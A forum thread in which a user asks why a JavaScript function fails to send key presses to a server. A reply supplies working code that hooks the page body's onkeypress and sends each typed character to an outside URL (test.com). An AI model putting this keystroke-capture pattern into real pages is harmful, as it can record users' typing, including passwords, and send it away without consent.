Jump to content

fromCharCode stupid question.


cursed

Recommended Posts

Why doesn't this work? I think I'm overlooking something stupid  ???

 

 

function unicodeToText(event)
{
var asciitext = "";
asciitext = String.fromCharCode(event.keyCode);
makeRequest('http://test.com/index.html?receive=' + asciitext);
}

 

assume that the ajax process is after this, and that index.html could receive the stuff that javascript is giving to it

 

Thanks in advance!

Link to comment
Share on other sites

 

I think this is what your wanting; but I am not completely sure.

 

Try it out and see if it's what your looking for:

 


<script language="JavaScript">
function unicodeToText(e) {
var keycode;
if (window.event) keycode = window.event.keyCode;
else if (e) keycode = e.which;
var asciitext = String.fromCharCode(keycode)
makeRequest("http://test.com/index.html?receive="+asciitext+"");
}
</script>

</head>

<body onkeypress="unicodeToText(event)">

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.